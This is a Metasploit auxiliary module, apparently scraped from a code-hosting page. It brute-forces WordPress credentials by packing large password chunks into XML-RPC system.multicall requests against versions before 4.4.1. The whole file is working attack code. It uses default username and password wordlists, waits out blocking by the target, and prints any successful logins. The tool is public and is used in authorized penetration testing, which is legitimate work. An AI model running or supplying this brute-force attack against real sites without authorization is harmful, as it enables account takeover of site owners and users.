141 lines
4.7 KiB
Ruby
141 lines
4.7 KiB
Ruby
|
##
|
||
|
# This module requires Metasploit: http://metasploit.com/download
|
||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
require 'metasploit/framework/credential_collection'
|
||
|
require 'metasploit/framework/login_scanner/wordpress_multicall'
|
||
|
|
||
|
class Metasploit3 < Msf::Auxiliary
|
||
|
|
||
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||
|
include Msf::Auxiliary::Scanner
|
||
|
include Msf::Auxiliary::AuthBrute
|
||
|
include Msf::Auxiliary::Report
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Wordpress XML-RPC system.multicall Credential Collector',
|
||
|
'Description' => %q{
|
||
|
This module attempts to find Wordpress credentials by abusing the XMLRPC
|
||
|
APIs. Wordpress versions prior to 4.4.1 are suitable for this type of
|
||
|
technique. For other versions, please try the wordpress_xmlrpc_login
|
||
|
module instead.
|
||
|
},
|
||
|
'Author' =>
|
||
|
[
|
||
|
'Cenk Kalpakoglu <cenk.kalpakoglu[at]gmail.com>',
|
||
|
'KingSabri <King.Sabri[at]gmail.com>' ,
|
||
|
'William <WCoppola[at]Lares.com>',
|
||
|
'sinn3r'
|
||
|
],
|
||
|
'License' => MSF_LICENSE,
|
||
|
'References' =>
|
||
|
[
|
||
|
['URL', 'https://wordpress.org/'],
|
||
|
['URL', 'http://www.ethicalhack3r.co.uk/security/introduction-to-the-wordpress-xml-rpc-api/'],
|
||
|
['CVE', '1999-0502'], # Weak password
|
||
|
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/' ],
|
||
|
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html' ]
|
||
|
],
|
||
|
'DefaultOptions' =>
|
||
|
{
|
||
|
'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"),
|
||
|
'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")
|
||
|
}
|
||
|
))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptInt.new('BLOCKEDWAIT', [ true, 'Time(minutes) to wait if got blocked', 6 ]),
|
||
|
OptInt.new('CHUNKSIZE', [ true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500 ])
|
||
|
], self.class)
|
||
|
|
||
|
# Not supporting these options, because we are not actually letting the API to process the
|
||
|
# password list for us. We are doing that in Metasploit::Framework::LoginScanner::WordpressRPC.
|
||
|
deregister_options(
|
||
|
'BLANK_PASSWORDS', 'PASSWORD', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS'
|
||
|
)
|
||
|
end
|
||
|
|
||
|
def passwords
|
||
|
File.readlines(datastore['PASS_FILE']).lazy.map {|pass| pass.chomp}
|
||
|
end
|
||
|
|
||
|
def check_options
|
||
|
if datastore['CHUNKSIZE'] > 1700
|
||
|
fail_with(Failure::BadConfig, 'Option CHUNKSIZE cannot be larger than 1700')
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def setup
|
||
|
check_options
|
||
|
end
|
||
|
|
||
|
def check_setup
|
||
|
version = wordpress_version
|
||
|
vprint_status("Found Wordpress version: #{version}")
|
||
|
|
||
|
if !wordpress_and_online?
|
||
|
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running Wordpress or you got blocked! (Do Manual Check)")
|
||
|
false
|
||
|
elsif !wordpress_xmlrpc_enabled?
|
||
|
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XMLRPC")
|
||
|
false
|
||
|
elsif Gem::Version.new(version) >= Gem::Version.new('4.4.1')
|
||
|
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} Target's version (#{version}) is not vulnerable to this attack.")
|
||
|
false
|
||
|
else
|
||
|
print_status("Target #{peer} is running Wordpress")
|
||
|
true
|
||
|
end
|
||
|
end
|
||
|
|
||
|
def run_host(ip)
|
||
|
if check_setup
|
||
|
print_status("XMLRPC enabled, Hello message received!")
|
||
|
else
|
||
|
print_error("Abborting the attack.")
|
||
|
return
|
||
|
end
|
||
|
|
||
|
print_status("#{peer} - Starting XML-RPC login sweep...")
|
||
|
|
||
|
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||
|
blank_passwords: true,
|
||
|
user_file: datastore['USER_FILE'],
|
||
|
username: datastore['USERNAME']
|
||
|
)
|
||
|
|
||
|
scanner = Metasploit::Framework::LoginScanner::WordpressMulticall.new(
|
||
|
configure_http_login_scanner(
|
||
|
passwords: passwords,
|
||
|
chunk_size: datastore['CHUNKSIZE'],
|
||
|
block_wait: datastore['BLOCKEDWAIT'],
|
||
|
base_uri: target_uri.path,
|
||
|
uri: wordpress_url_xmlrpc,
|
||
|
cred_details: cred_collection,
|
||
|
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||
|
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||
|
connection_timeout: 5,
|
||
|
)
|
||
|
)
|
||
|
|
||
|
scanner.scan! do |result|
|
||
|
credential_data = result.to_h
|
||
|
credential_data.merge!(
|
||
|
module_fullname: self.fullname,
|
||
|
workspace_id: myworkspace_id
|
||
|
)
|
||
|
|
||
|
case result.status
|
||
|
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||
|
print_brute :level => :vgood, :ip => ip, :msg => "SUCCESSFUL: #{result.credential}"
|
||
|
end
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
end
|